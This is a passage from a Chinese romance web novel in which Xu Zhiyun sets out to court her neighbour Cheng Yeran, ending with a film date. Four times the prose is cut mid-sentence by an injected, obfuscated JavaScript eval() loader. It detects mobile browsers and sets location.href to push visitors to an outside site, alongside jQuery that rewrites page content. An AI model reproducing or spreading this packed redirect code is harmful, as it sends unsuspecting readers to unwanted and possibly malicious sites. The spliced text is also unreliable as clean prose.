“我不会笑你的。”他十分诚恳,“我和你有一样的遭遇。因为这事儿,和我哥斗嘴时没少被他拿来翻旧账。” 程烨然是一个在某些方面十分健忘的人。 他记得哪家饭店的哪道招牌菜最好吃,也记得工作要在哪个时间节点完成、设计数据是多少……可他往往会忘记一些看似日常的东西,比如,记住自己购买药物的时间,以及它们的保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067598|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质期。 许知蕴捂着嘴,没忍住,扑哧一声笑了。 程烨然看着她的笑容,突然变魔术一般地,拿出了一个包装精美的小盒子。 小盒子上还缠着蓝色缎带,在空中晃了晃,然后就被递到了许知蕴的手边。 “可算没忘记这个。” 尽管东西已经送出手了,但程烨然仍有几分忐忑,“这是公司里出的钥匙挂件新品,我猜你应该喜欢。” 新品出来的时候,他在办公室里咨询了其他女同事的意见,挑挑拣拣选中了这一个。即使采纳了各方意见,也不知道收到礼物的人究竟中不中意。 许知蕴将盒子打开,看见里边静静地躺着一只戴蓝帽子蓝围巾的小企鹅。小蓝帽子上还有一团雪白的毛球,随着许知蕴的拨弄一晃一晃的。 她轻轻捏了捏小企鹅的脑袋,手下触感柔软,就像是在揉捏一片云朵。 做工很精致,每一处针脚都十分平整。毛绒玩具的品控再怎么好,也终究会有些参差不齐。但这个各方面都很优秀的小企鹅,恰恰证明了某人在挑选时有多么用心。 …… 她的心中刹那间涌上一阵波浪。这浪花呼啦呼啦的,一潮接着一潮,盖过了周遭的一切声音,使心中的每一个念头都如落地的针般,清晰可闻。 她知道,特别是在现代社会,像罗曼蒂克这种东西,其实是藏得很深的。你不能说送一束花浪漫,却也不能说送一束花不浪漫。它的边界是模糊的。 世界上总有些事情,有时喧闹,有时寂静,有时莫名其妙,甚至有时还带着些旗帜鲜明的刻薄。不管你想要探寻还是想要离开,当你真正反应过来时,无论是体温还是血肉,呼吸还是骨骼,似乎都已经镶嵌其中,无法自拔了。 “……我很喜欢。” 许知蕴直视着对方的眼睛。 她感到周遭那份似有若无的,模糊却又旖旎的空气升腾而起。脸颊发热,应该是泛着红,但她一点也没有逃避。 “我真的很喜欢。” 她一字一句,十分清晰。 因为对面站着的男人,是她目光的终点。 * 许知蕴回到家,立刻给陈美芝打了电话。 陈美芝正在敷着面膜看电视,很快就接听了。 “小蕴,怎么了?”由于脸上覆盖着面膜,她的声音有些含糊。 许知蕴自觉自己的声音十分冷静:“表姐,你还记得我那个相亲对象吗?” “记得啊。” 陈美芝还看过他的照片,男人眉目舒朗,笑得很是温和。当时她还同许知蕴的父母打趣,说可惜小蕴没看上,不然长得那么帅的男人,放走了多可惜。 “怎么了,他做了什么让你不舒服的事情吗?” 许知蕴哂笑,摇摇头,“这倒没有。” 陈美芝疑惑:“那到底怎么了?” 许知蕴缓缓道:“接触下来,我认为程烨然先生的各项标准都很合格,甚至达到了优秀的程度,所以……” 她拖长了音调,一字一句地立下了个惊天动地的豪言壮语。 “——我要追求他。” 22. 第二十二章 “我要追求他。” 陈美芝震惊得面膜都差点裂开了。她疑心自己听错了:“你说什么?你意思是……你要追他?” “对。”许知蕴兴奋道,“表姐,你没听错,我就是要追求他。管他究竟是不是喜欢我,我先追求了再说。” 陈美芝问:“你同舅妈他们说了吗?” 许知蕴略微心虚:“没有。但我之后会说的。” 陈美芝觉得很稀奇。她知道许知蕴那点可怜的恋爱史,她也知道,自己表妹唯一谈过的那段恋爱,其实只是半推半就罢了。更别提梁丰是个多么差劲的人。她一直在想,能够让许知蕴感兴趣的,究竟会是怎样的男人? 她抿了抿嘴,半是调侃半是认真地说:“还追求别人呢,我看你正经的恋爱都没谈过几回。你知道怎么追求人吗?” 许知蕴反驳:“没谈过几场恋爱不代表我不会追人,何况程烨然那家伙不是也没什么经验?” 她摩拳擦掌,一连点开某乎和某瓣,打算上网展开大数据搜索,连夜完成她的追人计划:“等着吧表姐,相信我,我势必要得到他!” 明明是大晚上,但许知蕴还是神采奕奕。她的脸颊上泛着热烈的玫瑰色,但她自己却一点也没意识到。 陈美芝都能想象到电话那头她的样子。她轻声笑了笑,给予自己的表妹最诚挚的祝福。 “嗯,我相信你。小蕴一直都很聪明,你一定可以把他追到手。” 最后那句话,被轻轻地淹没在夜晚的波涛之中。 “……可我也希望,他不会令你伤心。” * 时间倒流至几天前。 杯中金黄色泛着泡沫的啤酒被周颂一饮而尽。他坐在吧台旁,撑着下巴,手指有一搭没一搭地敲击着木质的桌面。 “今天怎么想着来约我喝酒了?”他瞟了一眼旁边的程烨然。 平日里坐姿端正得一丝不苟的人此刻却十分随意,衬衫扣子解开两颗,明明是约人出来喝酒,自己却喝得并不多,只是懒懒地把玩手中的剔透的玻璃杯,眉眼间透着几分意兴阑珊。 没有回应,周颂戳戳他:“你再不说话我可就走了。老板的时间是很宝贵的,懒得浪费在你们这种无聊的人身上。” 程烨然没好气道:“安静点行不行。” “噢哟,程二少爷还跟我耍脾气呢。” 周颂也不恼,嬉皮笑脸地凑上去:“让我猜猜……是不是因为那天的事情?” 他没有明说,但两人都心知肚明。 程烨然没有否认,只是又给自己倒了一杯酒。他仰起头,将啤酒一饮而尽,眼睛里升腾起的雾气模糊了视线。 “是,但也不算是。”他低声道。 周颂没有理会他话语里的春秋笔法,而是拍板道:“那就是了。” 他歪着头,再给程烨然倒了一杯,金黄的酒液混着rnb的音乐在杯中激荡。 “我看得出来。”周颂说,“你对她有意思。你喜欢她。” 周颂的声音分外认真。 程烨然苦大仇深地叹了口气,“连你都看得出来。” 话外之音分外明显。 周颂瞪他:“什么叫‘连我’都看得出来?我难道情感方面很迟钝?” 他神色中颇有几分得意,伸出食指在空中晃了晃:“虽然我的情感履历尚且浅薄,不过至少比你多吧?你除了小学暗恋女同桌,还能举出什么事例?相亲都没有经历过几回的人,不足以谈人生。” 程烨然白他一眼:“我倒不觉得情感履历多是件值得自豪的事。” 周颂打断了这场毫无意义且势必要引起后续的争论,转而开辟了新的战场。他拍了拍程烨然的肩膀,示意这位情场失意的朋友赶紧振作起来:“不要伤感了,帅哥。让我来教你几招,你肯定能事半功倍。追人也是需要技巧的,你有没有看过某瓣里的神帖……” 周颂觉得追人这事很简单,但程烨然显然不这么觉得。 “你还是别教我了。”他面无表情道,“你上次分手时留下的烂摊子还是我收拾的。” “……我这不是在还你人情嘛!” 周颂不依不挠,“那你大晚上叫我出来干什么,不是给你当军师,难道是陪你不睡觉看星星啊?” 程烨然不说话,只是又喝了一杯酒,神色重新回归到忧郁。 一个忧郁的,独自喝酒的男人,往往很容易引起他人的注意。 很快,就有个五官明艳,衣裙紧身的女子走了过来,朝他举了举酒杯,问他有没有兴趣与自己共饮。 程烨然摆手:“不必了。” 周颂朝她抛了个wink:“这位美女,他可是名草有主啦,要不要考虑考虑我?” 女子盯着周颂看了几秒,随后柔柔地笑起来:“您很好,可惜不是我喜欢的类型……愿您度过一个美好的夜晚。” 说完,她端着酒杯,隐没在昏暗的灯光中。 周颂叹了口气:“我们还是继续讨论先前的话题吧。别忧郁了,振作起来!” …… 最终两个男人其实并没有讨论出什么实质性的结果。 只是在最后散场的时候,周颂叫住他:“程烨然。” 他抛出了最后一个问题:“如果……如果她不喜欢你,怎么办?” 周颂是真心实意为自己的朋友着想。 在幽静的月光下,程烨然的影子被拉得很长。听见周颂的话,他只是笑了笑。尽管喝了酒,可程烨然的眼底却是一片清明。 “我有喜欢她的自由,她也有不喜欢我的自由。” “只是,不管她喜不喜欢我,我都永远喜欢她。” * 许知蕴在躲自己。 程烨然早就发现了。 他们在楼道里相遇的次数大大减少。很多时候,程烨然都能从眼角的余光中瞥见一抹熟悉的身影。 可那抹身影就是不来同他搭话。 山不来就我,我便去就山。每当他朝对方跨出去一步,对方却又后退一步,就像是在玩捉迷藏。先前还有相逢的余地,到了后来,连碰面的机会都没有。 程烨然在心底苦笑。 归根结底,还是他操之过急。 晚上逛超市打折区时,他又看见了她。 推着个购物车,正在生鲜区内认认真真挑选。头发随意地挽着,从肩颈处滑下那么几丝,平白增添几分风情。 她就这样推着个购物车一顿扫荡,从生鲜区逛到家居日用,一股趁着打折不买白不买的架势。选购完后,她心满意足地去结账,随后左右手各提一个塑料袋,哼着歌儿走了出去。 袋子看起来很沉,也不知道她提着费不费力。 程烨然本想追上去,但又怕加剧两人间的尴尬气氛。他就这样站在不远处,手里拎着从冷冻区拿的一份排骨,看着许知蕴的身影消失在他的视线里。 那天晚上他失眠了。 第二天还有工作,程烨然挣扎着起床,给自己冲了两大包咖啡,随后照常开车来到公司。 或许是因为任务吃紧,办公室里闲聊的声音明显减少。程烨然早饭只草草啃了个面包,就全身心投入到工作之中。也就是在午休时间,才能缓缓。 坐他工位对面的霍夫曼蹬着办公椅溜过来。“嗨。”他手里还捧着盘新鲜出炉的烤松饼,“来个松饼怎么样?” 程烨然拿了一块:“谢谢。” 霍夫曼又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067599|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问他要不要挤点奶油,程烨然婉言谢绝了。松饼本就够甜,加上奶油更是致死的含糖量,也就外籍同事们吃得欢心。 “最近你都不怎么在公司住了啊。”霍夫曼咧开嘴角,“先前我和琼森还讨论过这件事,我们猜想,程肯定是陷入爱河了。” 程烨然通常时工作日时在公司吃住,周末才回一趟家。但自从认识许知蕴以来,他在公司留宿的时间越来越少,踏进小区的时间却越来越多。 霍夫曼带着过来人的语气,友善地拍拍程烨然的肩膀,“小伙子,不要害羞。当年,我们也有过这样甜蜜的时光。” 霍夫曼四十多岁,带着他的妻女漂洋过海,早早定居在此。他本人是秀恩爱的忠实典范,常常有人能看见他与妻子在公司的花圃旁亲吻。他本人也完全不避讳,还时不时与同事们分享家中的趣事。 程烨然微微一笑,只说了几句场面话,并不打算深入地聊这个话题。霍夫曼对他报以“理解”的眼神,并幽默地声称,这是“属于中国人独有的含蓄”。 午休只是吃饭,并不包含睡眠时间。他们又开始忙碌起来。期间部门主管带来个好消息,最新一批的钥匙挂件即将上市,每位工作人员都能免费拿到一款。紧接着,一纸箱的小玩意们就被拿了进来。 这无疑是给紧张的工作氛围注入了一丝愉悦。几乎所有人都放下手中的事情,开始在纸箱里挑选自己心仪的款式。 霍夫曼问主管,自己可不可以拿两个。部门主管惯常听他秀恩爱,此刻微微点头,同意了。霍夫曼从里边拿走了两只振翅欲飞的深蓝色海鸥。 程烨然低着头,在纸箱里挑挑拣拣。对面同样在挑选的人是海莉。或许是从霍夫曼那里得到了某些情报,海莉微笑着问他:“在给你的心上人挑选么?” 程烨然抿唇:“是的。” 海莉同身旁的其他女同事说了几句。她们给程烨然出谋划策:“她要是没有特别喜欢的,你就选一个看着特别可爱的。” 海莉说:“越可爱越好。我想无论对方是谁,都抵挡不住的。” 程烨然继续挑挑拣拣,在纸箱里看中了一只企鹅。 企鹅真的很可爱,戴着蓝围巾蓝帽子,帽子上还有个一晃一晃的小毛球。 小企鹅被众多的钥匙扣淹没了,翻了好一会才翻出来。 纸箱里还有许许多多企鹅。他们公司的毛绒玩偶,无论大小,只要是涉及到针线,都是纯手工的。这也意味着,每一个企鹅,都有些微小的差异。 程烨然很耐心的一个个比对,终于让他找到一只各方面都十分优秀的小企鹅。摸起来很柔软,针脚也很扎实,没有什么比例不协调的地方。 他很满意。 挑选完钥匙扣挂件后,他找到主管,问要一个精美的包装盒。小企鹅被妥善地安置在包装盒里,盒子还用蓝色的缎带缠起来,打了一个漂亮的蝴蝶结。 程烨然期待着能把礼物送出去的一天。 …… 最终,礼物是送出去了。 可新的礼物又来了。 最近三天,许知蕴每天都来敲一次他家的门。 第一天送的是一袋卤鹅。许知蕴说,这是自己家里做的,可好吃了。你要是没吃过卤鹅,那可得尝尝。你要是吃过卤鹅,那更得尝尝,可好吃了! 送的是一块手表。程烨然很惊讶,因为这是他最喜欢的牌子。 许知蕴递过来是一份出游邀请。 “你这周末有时间吗?我请你去看电影,可以吗?”她兴致勃勃地提议。 程烨然愣住。程烨然开始狐疑。 他将前两天的那些小礼物迅速串联起来。 ——她别是在还什么鬼的人情吧?! 23. 第二十三章 程烨然拿不准许知蕴在想什么。 但有一点还是能拿准:她的要求,他总不会拒绝的。 程烨然答应了。 许知蕴见他应得爽快,暗喜心中的进度条又往前推了一步。她正准备说些什么,却听见程烨然慢悠悠的声音:“不过我有一个问题。” 许知蕴忙不迭道:“什么问题?” 面前的男人虚虚倚靠在门框上,好整以暇地看着她:“先前是卤鹅、手表……我其实很想知道原因。” 他的语调很奇异,像带着魔法一般钻入她耳朵里。 “比如,为什么要请我看电影呢?” 许知蕴看着他,像是早就想到他会问这个问题一般,微微一笑:“那么,之前你又为什么请我看艺术展呢——在我们并不完全熟悉的情况下?” 程烨然蜷缩在家居服袖子里的手指动了动,没有直接回答,而是调侃道:“那你现在是在回礼么?” “当然……” 许知蕴很享受自己卖关子时程烨然的神情。那么专注,似乎随着她的话语而被牵动,多好玩呀。 “——也不全是。” 她晃了晃自己的手机,“关于看什么电影,我们稍后在微信聊。你就当做——当做除了回礼和还人情之外,我的一点小小的私心吧。” 内心里的小人正举着拳头呼喊“胜利”,她朝程烨然露出个狡黠的笑容,轻巧地道了声再见。 至于如何解释“私心”,这就不属于许知蕴的范畴了。 * 许父许母还没从国外回来,就先收到了自己女儿伟大计划的蓝本。 许知蕴先是在电话里朝他们嘘寒问暖,随后话题很快就拐到了“恋爱”之中。她问许母,还记不记得你们给我安排的那个相亲对象呀?许母说当然记得了,许知蕴就继续趁热打铁,问,那你们觉得他怎么样呀? 早已是过来人的许母第一时间发现了她话语中的小九九。 许母反问她:“你觉得呢?” 许知蕴说:“我觉得他挺好的。” 哦,原来是这样。许母忍着笑继续问:“然后呢?你觉得人家挺好的,然后呢?” “然后?”许知蕴这时后知后觉的反应过来了,“妈,你别逗我了,你肯定都猜出来了。” “现在知道害羞啦?”许母真想伸出手来刮刮她的鼻子,“知女莫若母,你那点小心思我还是知道的。” 电话那头许父的声音不合时宜地冒出来:“什么小心思?” 许知蕴一听她爸的声音,气势上就减弱了一半。她搓搓手,将手机从一只手递到另一只手,“嗯……爸,我要追人。” 或许是怕电话通讯信号的干扰,许知蕴把“追人”两个字发得字正腔圆,十分清晰。 对面沉默了几秒。 这几秒钟感觉有一个世纪那么长。再出声时,许父只是干巴巴道:“挺好的,只是——只是为什么不是他追你?你妈和我虽然是相亲认识的,但也是我追的她。” 说到最后语气有了几分小小的愠怒。 许知蕴连忙道:“爸,现在是什么年代了!男追女和女追男不都一样!况且之前堂妹在烦恼恋爱问题,您不也是劝她主动出击?怎么到我这就变啦?” 许父嘟嘟囔囔:“……这不一样。” “哪儿不一样啦?” 许知蕴在那头发问。许母在许父身旁呵呵笑,等笑够了,才把电话从许父手中夺回来。 她愉快道:“小蕴,别听你爸的,老古董。你要怎么追人?告诉妈妈,妈妈给你提点建议。” 许知蕴心满意足:“妈,你等着,我待会就把我做的word文档发给你,你帮忙参谋参谋。” 许父还在那边不依不挠道:“万一这人不合适怎么办?” “不合适就换一个。”许母嗔怪地看他一眼,“小蕴早就是个大人了,我们要相信她的判断。当然,最后肯定也得由我们把关……实在不行就换一个。就算日后没有相中的人也不强求,人生下来又不是为了恋爱结婚的。” 许父败下阵来,只是简短地叮嘱了许知蕴几句,让她不要盲目地陷入爱河,要记得擦亮眼睛。 许知蕴乖乖地一一应下。 * 杨绛在《洗澡》一文中提到,西洋有个风俗,每当闰年,女人可以向男人求婚。如果男方不答应,就得赠送求婚的女人一套绸子的衣料。杜丽琳拿定主意向许彦成求婚,而许彦成听了她的话,却磕磕巴巴地说,自己不会买衣料。 许知蕴不想让自己落到“被赠送绸子衣料”的地步。 所以,她找到了周颂。 她是在微信上同周颂约定见面的时间和地点的。一切安排妥当,她还在底下用括号强调了一句:[这件事千万别告诉程烨然。] 周颂觉得奇怪,问她:[你不要是鼓吹我同你合伙做什么杀人放火的事吧?] 许知蕴回复:[放心好了,真的是有要事相商。] …… 他们在一间咖啡厅见面,只是不是周颂那家。 “说吧,什么事啊?”周颂毫不客气地让许知蕴请客喝咖啡。许知蕴当然是答应了。 她整理了一下措辞,严肃道:“我要追程烨然。劳烦你提点建议。” 周颂差点没把嘴里的咖啡喷出来。 他着急忙慌把咖啡咽下肚,扯了张纸巾抹抹嘴,简直不敢相信自己听见了什么:“我滴个乖乖,你说啥?你要追程烨然?” 许知蕴点点头。 周颂简直要在心底狂笑了。他想,我看这两人真是天生一对,明明都对彼此有意,可眼睛就像是高度近视了,一点都看不出来。 不过他十分好心,没把这事戳穿。他是看热闹不嫌事大的人,当然希望这场热闹再闹得轰轰烈烈一点。 许知蕴盯了他一会,木着脸提醒道:“别笑了,周颂。脸都要笑出褶子了。” 周颂一僵,就像将全是褶子的面团揉得十分光滑一般,揉着脸颊,企图把自己贱兮兮的笑容给揉匀。 他好不容易平复下心情,问她:“哎,你能不能告诉一下我你喜欢他的理由啊?我没有在捉弄你,我真是纯粹好奇。” 奇怪了,从小到大,程烨然好像走到哪里都比他招人喜欢。周颂发誓,他绝对没有在此时此刻计较酒吧里那场搭讪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067600|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情。 许知蕴却说:“我听说有种东西叫气场,气场不合的人,就算生活在同一屋檐下,也讨厌彼此,尽管他们好像都没有做错什么。你有没有类似的经历?” 周颂当即拍了下大腿:“当然有了!我跟你说,多了去了!你不知道有些寝室的舍友,真是莫名其妙招人烦……等一下!” 他有些懵圈地眨眨眼睛:“你问这个干什么?” 许知蕴笑了:“这不就对了。就算讨厌一个人,有时候都会无缘无故地讨厌。那喜欢一个人,似乎也不一定需要什么特别的缘由吧?” 周颂泄气了。他举起双手,作投降状:“好了好了,我知道了……你想要点什么参谋?” 目的达到。许知蕴飞快道:“也不需要你参谋别的,就是想问问你程烨然都喜欢些什么。什么样式的物件?什么牌子?看书和吃饭的口味……” 周颂给她一一解答了,比如程烨然喜欢吃自己老宅门口一家烘焙店的拿破仑,比如喜欢的衣服和手表的牌子。许知蕴边听边在手机上打字。 但当回答到“吃饭的口味”时,他还是很纳闷:“问这个干什么?你们不是都吃过好几顿饭,难道你还没发掘出他的口味?” 许知蕴坦然自若:“我只发现他不爱吃辣的,以及相比起普通人,更偏爱甜口。其他的好像……没有了?” “已经够完善了。”周颂朝她竖起大拇指,“烨然的口味差不多就是这样。你也知道,一个爱享受美食的人,不大会挑食。还有什么要问的吗?” 对面的人摇摇头。 “没了。”她说,“接下来都要靠我自己了。” 周颂问:“你下一步打算怎么办?” 别看许知蕴貌似胸有成竹,其实她内心也没什么招。更别提这是她第一次追人。 “嗯……请他看电影?”她选了个老土但常用常新的方案。 周颂果然嫌弃:“太老土了,我初中追小姑娘都不用这招。” 许知蕴指了指咖啡,表示这是她请的:“别管老不老土,如果最后能成功,无论白猫黑猫,抓住耗子的就是好猫。” 周颂的目光在空气中划了一个圈,随后似乎想起了什么,兴冲冲地发问:“哎,你知道烨然最喜欢看什么类型的电影么?” 许知蕴的耳朵一下子竖了起来。她晃晃脑袋,表示自己不知道。 “嘿,他喜欢看爱情片。” 周颂拿起手机,翻找最近上映的电影。他指了一个小清新背景的电影给她看:“喏,你要是约程烨然看这个,他保准非常入迷。” 许知蕴愉悦地采纳他的提议。 …… 只是计划是赶不上变化的。 当许知蕴满怀希望地给程烨然发过去好几张截图,问他“我们去看哪部电影好呀”的时候,她满心以为程烨然会选择那部看起来甜虐交织,亲情与爱情相结合的感人电影。可谁知程烨然却用红笔圈起了另一部。 那部电影的基调很暗,名叫《阳光之下》。一部悬疑刑侦类电影。老戏骨和小鲜肉云集,宣发低调,但实力应该不容小觑。 他问:“我们看这个,怎么样?” 24. 第二十四章 许知蕴的第一反应是:周颂的情报不会给错了吧? 但其实在最近上映的电影中,她最想看的也是这部。破案、打戏、批判……加上导演和编剧都是业内鼎鼎有名的大神,也产出过不少佳作,可以说是本月度最值得让人寄予厚望的电影。 不过她还是有点担忧。她又发了一条消息:[你确定看这部,不再挑选挑选?] 程烨然的回复十分果断。不知为什么,她总能从屏幕的文字里,隐隐约约听见他含着笑的嗓音。 [不挑了,我们就看这部。] * 看电影的时间被贴心地设定在周末。 许知蕴特意挑了个不近不远的影院,影院周边还有吃喝玩乐一条龙,可以为两人的相处创造更多可能性。 从小区到影院只需要坐地铁便可直达,因此今日的交通方式是地铁。 他们约在楼下见面。为了这次约会,许知蕴决心好好收拾一下自己。化完妆后,她将那件挂在衣柜里,还没穿过的白裙子拿出来,又在腰间系了条棕色的细皮带。这条皮带还是她去意大利游玩时在路边的集市上随手淘的。价格很便宜,实物却很美丽。皮带上镶嵌着彩色的宝石,垂下流苏,和这条裙子很是相配。 她本想戴一顶同色系的帽子,但是将帽子放在头上两分钟后,还是无奈地取下来。太热了。 用夹板给自己烫了头发,许知蕴照镜子时颇为满意。但不知道用夹板做出的烫卷效果究竟能持续多久。 最后,她从鞋柜里翻出一双很久不穿的小皮鞋,再拿出一个珍珠白的挎包。 做完这一切后,她就下楼了。 电梯的运行似乎从来没有那么慢过。 随着楼层数字的跳动,许知蕴的心里生出了某些可以被称之为“近乡情怯”的情感。 某一瞬间,她既想要见到他,又胆怯见到他。 可这些情感在看到程烨然的第一眼时就烟消云散了。 准确来说,这个时候,他们还并没有打上照面。 许知蕴是从稍远的一个电梯口出来的。这就意味着,她距离一楼的大门还有一段距离。 她站在一个恰好能看到对方,但又不会被发现的位置,看着程烨然。 他站在约好的地方,没有看手机,而是站得笔直,将手放在口袋里,时不时朝里边张望一番。头发打理得很好,穿着深蓝色的T恤。或许是因为职业的原因,他看起来比旁人要多了那么几分少年气。 许知蕴能想象到他敛眸时的神情。长而密的睫毛在眼睑处投射下一片蝴蝶翅翼般的阴影。 她想要把手覆上去。 感受那份手心里细密的酥痒。 等待是一件恼人的事情。许知蕴现在倒觉得,电影也不是那么重要了。光是看着这个人,就能让人觉得很开心。 她快步走上前,从程烨然的后边袭击他的肩膀。“下午好呀帅哥!” 程烨然回过头来。看见是她,眼里划过一丝意料之中的笑意。他佯装无奈地摊手:“这位美女,找错人啦,我可不是帅哥。” “别质疑我的眼光。你就是。”许知蕴没给他反驳的机会。 程烨然曲起手指,抵着唇笑起来:“好的,美丽的女士。” “谢谢。” 他们朝地铁口走去。 许知蕴原本以为,在周末的情况下,地铁的人流量肯定会增加。人流量增加了,就很有可能会出现某些情况,比如:因为车厢里人太多而紧紧贴在一起啦……诸如此类的情况。 但事实还是令许知蕴失望了。 他们今天乘坐的是六号线。往常据说能把人拖鞋都挤掉一只的六号线,今时今日,车厢却空得可怕。已经空到了,即使不是首发站,地铁门打开的时候,还能有好几个空闲座位的程度。 许知蕴很纳闷。明明上一个周末坐这趟地铁的时候还不这样的!上周,她坐六号线去逛街,挤得要死,手背上不知怎么挨到了个热乎乎的东西。仔细一看,是旁边小女孩口袋里揣着的糯米鸡。 别带糯米鸡了,好烫。 上上周,她坐地铁去和编辑商谈。因为人太多,她不得不离一对热恋期的年轻情侣极近,全程都在听他们甜蜜地谈论晚上回家吃什么,是包饺子还是煮馄饨。 但今天的六号线,人简直少得可怜。 他们很容易找了个挨着的座位坐下。许知蕴的内心里涌上一丝慰藉:起码座位是挨着的。 平日里坐地铁,许知蕴一般是抱着个手机,从头看到尾。但现在她不想看手机了。 她偷偷瞄了一眼程烨然,看见他优越的鼻梁。 ……再瞄一眼。他的皮肤是不是太好了点? 嗯,睫毛还是那么漂亮。依旧想把手覆上去,在手心里挠痒痒一定特别好玩。 她不知瞄了几眼,忽然间就看见一只骨节分明的手在她眼前随意地晃了晃。 “看什么呢,那么入神?” 他的声音仿佛就在耳边。两人靠得很近,许知蕴似乎能感受到他说话时胸腔的震动。 她立马把视线从他脸上收回来,转而投向别处:“……我在看地铁线路图。” 线路图上的小红点一闪一闪的,还有四个站就到了。 程烨然笑了笑,似乎相信了她这个蹩脚的谎言。 许知蕴在内心斗争了一会,决定发挥追人的主观能动性。 “好吧。”她清了清嗓子,“那个,如你所见,我撒了谎。其实——” 地铁平稳地运行着,混合着报站声和开门的嘈杂。 她低声道:“其实我是在看你。你太帅了,我忍不住。” “是嘛?”程烨然状似随意地抬手向身后指了指,语气充满玩味,“我还以为你在看那边那个帅哥呢。” 程烨然身后不远处确实有个帅哥。 一身黑衣,戴着头戴式耳机,留着狼尾,整个一酷哥的装扮。许知蕴只看了一眼,就把目光收回去了。 “我为什么要看他?”许知蕴说,“他又没你帅。” 过了好一会,她才意识到自己说了什么。 程烨然坐在一旁,闷闷地笑起来。他的目光直往这边飘,反应过来自己说了什么的许知蕴感觉脸都要烧红了。她用双手捂住脸:“看什么?别看了。” 程烨然眨了眨眼睛,语气十分诚恳:“我在看地铁运行路线图呢。我们还有一个站就要到了。” 电影院里的位置也是许知蕴选的。 为了良好的观影体验,他们买了套餐。一桶两人份爆米花,配两杯冰可乐。影厅里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067601|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人不少,大多是中年人与青年人。找好位置,许知蕴吸溜了一大口可乐,专心致志地等待电影的开始。 很快,片头的音乐就响起了。 《太阳之下》讲的是一个关于连环杀人案的故事。主角是个经验老辣的刑警,带着个初出茅庐却智商顶尖的徒弟。城里恶性案件频发,专案组破除万难,终于突破层层迷雾将凶手绳之以法。电影采用双线结构,明暗两条线并行,讨论的主题内涵丰富,包括家庭教育、少年犯罪、黑恶势力…… 许知蕴简直看得入迷。 先前她还在家中计划,要怎么在看电影的时候也悄悄达成自己撩拨人的目的。但是,现在这些小把戏已经全部被抛之脑后了。 她现在满心满眼只有剧情。不光是剧情,她还在脑海里疯狂分析现有的线索,尝试是否能在主角团之前将凶手推理出来。这是她看悬疑类作品的最大乐趣:比主角还要先一步推理出罪犯,难道不是一件超爽的事情吗? 看到精彩处,就连低头去拿爆米花,都成为一种罪过。 她抬着头,眼都不眨,慢吞吞地伸手去够中间的爆米花桶,随意抓了一把出来,又吸溜了一口可乐。 就连在拿爆米花时,她的手与程烨然的手轻轻地撞在了一起,她也毫无所觉,满心满眼都扑在了刺激的探案追凶上,生怕错过任何一个场景。 一场本是为了约会的电影,硬生生被她看出几分井水不犯河水的味道。 电影结束时,许知蕴还意犹未尽地感叹:“拍得太好了……回去我就上某瓣给它写五星好评。” 灯光亮起,他们随着人流走出影厅。 许知蕴兴奋地同程烨然分享自己的心路历程:“简直太棒了……不过个人觉得最后的戏码有些仓促,如果能够再补拍几个镜头会更好,毕竟前面铺垫了那么久……还有,你觉不觉得男主发现那条至关重要的线索的时候有些过于偶然了?虽然破案中运气也是很重要的一部分,但这样的偶然是不是也意味着,如果没有这些巧合,说不定这案子就永远无法拨云见日……” 她一边说,程烨然一边在旁补充。两人的观点互为对照,时不时还能就某个剧情点展开争论。一番交谈下来,许知蕴只觉得通体舒畅,早就把追人那点事儿忘得一干二净。 影院位于一个大商场里,一出门,就能看见各色餐厅。现在正是饭点,不少餐厅的等位处都排满了人。 许知蕴为了今晚这顿饭,做了不少功课。她下了好几个点评软件,比对了无数评价,终于挑选出一家貌似还不错的餐厅,也早早就预约了时间——她可是有备而来的! 程烨然问:“我们吃什么?” 许知蕴伸手指了指,随后拿出手机:“前面那家。跟我来就好啦,我已经定了位置。” 餐厅不算远,他们很快就找到了。或许是因为这家过于出名,门口早已人满为患。他们正准备进去时,从门口却走出来一对男女。 男人看起来三十多岁,五官优越,散发着一股成熟男性的魅力。他旁边的女人正挽着他的手,笑吟吟地同他说话。 程烨然一下子顿住了。 